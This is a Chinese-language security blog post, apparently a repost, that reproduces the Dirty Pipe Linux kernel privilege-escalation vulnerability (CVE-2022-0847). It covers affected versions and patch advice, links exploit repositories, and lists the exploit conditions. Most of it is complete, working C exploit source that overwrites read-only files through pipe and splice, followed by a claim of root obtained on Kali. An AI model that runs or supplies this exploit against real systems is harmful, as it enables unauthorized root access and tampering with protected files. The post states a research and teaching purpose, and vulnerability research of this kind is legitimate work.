Dirty Pipe(CVE-2022-0847)漏洞复现

admin 2022年5月6日17:11:16评论0 views字数 3896阅读12分59秒阅读模式

0x00 漏洞描述

CVE-2022-0847,也称为 “Dirty Pipe” ,允许非特权用户注入和覆盖任意只读文件中, CVE-2022-0847漏洞类似于2016年修复的 Dirty COW 漏洞(CVE-2016-5195),但它更容易被利用,导致权限提升,并最终获得root权限。

0x01 影响版本

Linux Kernel版本 >= 5.8 或 版本 < 5.16.11 / 5.15.25 / 5.10.102

解决方法:目前此漏洞已经在 Linux 内核 5.16.11、5.15.25 和 5.10.102 中修复。鉴于此漏洞很容易利用以获得 root 权限,且漏洞利用已经公开,建议受影响用户及时升级更新。

EXP下载链接:

https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
https://github.com/imfiver/CVE-2022-0847

0x02 漏洞分析

类似脏牛的提权漏洞,可以由普通用户越权覆盖任意只读文件中的数据,非特权进程可以将代码注入根进程,导致权限提升越权达到 root 权限。

漏洞利用限制如下:

1.攻击者必须具有读取权限,因为它需要将 splice() 页面放入管道。

2.偏移量不能在页面边界上,因为该页面的至少一个字节必须已拼接到管道中。

3.写入不能跨越页面边界,因为将为其余部分创建一个新的匿名缓冲区。

4.文件无法调整大小,因为管道有自己的页面填充管理,并且不会告诉页面缓存附加了多少数据。

漏洞利用条件:

1.创建管道。

2.用任意数据填充管道( PIPE_BUF_FLAG_CAN_MERGE 在所有环条目中设置标志)。

排干管道(在环上的所有实例中设置标志)。

struct pipe_bufferstruct pipe_inode_info

3.将目标文件(以 开头O_RDONLY)中的数据从目标偏移之前的位置拼接到管道中。

4.将任意数据写入管道;此数据将覆盖缓存的文件页面,而不是创建新的异常,因为已设置。

struct pipe_bufferPIPE_BUF_FLAG_CAN_MERGE

在这个漏洞中,不可变文件、只读 btrfs 快照和只读挂载(包括 CD-ROM 挂载)。这是因为页面缓存始终是可写的(由内核),并且写入管道从不检查任何权限。

可通过上述条件写出利用代码:

#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <sys/user.h>#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif/** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */static void prepare_pipe(int p[2]){  if (pipe(p)) abort();  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);  static char buffer[4096];  /* fill the pipe completely; each pipe_buffer will now have     the PIPE_BUF_FLAG_CAN_MERGE flag */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    write(p[1], buffer, n);    r -= n;  }  /* drain the pipe, freeing all pipe_buffer instances (but     leaving the flags initialized) */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    read(p[0], buffer, n);    r -= n;  }  /* the pipe is now empty, and if somebody adds a new     pipe_buffer without initializing its "flags", the buffer     will be mergeable */}int main(int argc, char **argv){  if (argc != 4) {    fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATAn", argv[0]);    return EXIT_FAILURE;  }  /* dumb command-line argument parser */  const char *const path = argv[1];  loff_t offset = strtoul(argv[2], NULL, 0);  const char *const data = argv[3];  const size_t data_size = strlen(data);  if (offset % PAGE_SIZE == 0) {    fprintf(stderr, "Sorry, cannot start writing at a page boundaryn");    return EXIT_FAILURE;  }  const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;  const loff_t end_offset = offset + (loff_t)data_size;  if (end_offset > next_page) {    fprintf(stderr, "Sorry, cannot write across a page boundaryn");    return EXIT_FAILURE;  }  /* open the input file and validate the specified offset */  const int fd = open(path, O_RDONLY); // yes, read-only! :-)  if (fd < 0) {    perror("open failed");    return EXIT_FAILURE;  }  struct stat st;  if (fstat(fd, &st)) {    perror("stat failed");    return EXIT_FAILURE;  }  if (offset > st.st_size) {    fprintf(stderr, "Offset is not inside the filen");    return EXIT_FAILURE;  }  if (end_offset > st.st_size) {    fprintf(stderr, "Sorry, cannot enlarge the filen");    return EXIT_FAILURE;  }  /* create the pipe with all flags initialized with     PIPE_BUF_FLAG_CAN_MERGE */  int p[2];  prepare_pipe(p);  /* splice one byte from before the specified offset into the     pipe; this will add a reference to the page cache, but     since copy_page_to_iter_pipe() does not initialize the     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */  --offset;  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);  if (nbytes < 0) {    perror("splice failed");    return EXIT_FAILURE;  }  if (nbytes == 0) {    fprintf(stderr, "short splicen");    return EXIT_FAILURE;  }  /* the following write will not create a new pipe_buffer, but     will instead write into the page cache, because of the     PIPE_BUF_FLAG_CAN_MERGE flag */  nbytes = write(p[1], data, data_size);  if (nbytes < 0) {    perror("write failed");    return EXIT_FAILURE;  }  if ((size_t)nbytes < data_size) {    fprintf(stderr, "short writen");    return EXIT_FAILURE;  }  printf("It worked!n");  return EXIT_SUCCESS;}

0x03 漏洞复现

linux普通用户状态下,gcc编译./compile.sh,运行exploit文件。

以下是kali普通用户状态下,运行sh文件

Dirty Pipe(CVE-2022-0847)漏洞复现

成功提权

0x04 参考文章 

https://www.anquanke.com/post/id/84772   

https://dirtypipe.cm4all.com/

https://www.anquanke.com/post/id/84772

https://www.venustech.com.cn/new_type/aqtg/20220308/23532.html

End

原文始发于微信公众号(NS Demon团队):Dirty Pipe(CVE-2022-0847)漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月6日17:11:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Dirty Pipe(CVE-2022-0847)漏洞复现https://cn-sec.com/archives/981324.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息